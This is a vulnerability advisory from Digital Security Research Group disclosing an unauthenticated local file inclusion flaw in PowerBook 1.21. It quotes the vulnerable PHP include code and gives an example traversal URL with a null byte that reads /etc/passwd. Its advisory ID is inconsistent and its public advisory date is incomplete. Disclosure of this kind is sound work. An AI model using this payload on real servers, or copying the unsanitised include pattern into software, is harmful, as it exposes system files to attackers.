[DSECRG-08-019] LFI in PowerBook 1.21

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[DSECRG-08-031] Digital Security Research Group [DSecRG] Advisory

Application: PowerBook
Versions Affected: 1.21
Vendor URL: http://www.powerscripts.org/
Bug: Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: ..2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Local File Include vulnerability found in script pb_inc/admincenter/index.php

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.

Code
****
#################################################

  if (!$page) {
     $page = "home";
  }

  $page .= ".inc.php";

  if(file_exists($page) == false) {
     echo "
        <div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
     ";
  } else {
     include("$page");
  }

#################################################

Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../../../../../../../../../../../etc/passwd%00

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

-- 
Alexandr Polyakov
DIGITAL SECURITY RESEARCH GROUP
                       mailto:research_at_dsec.ru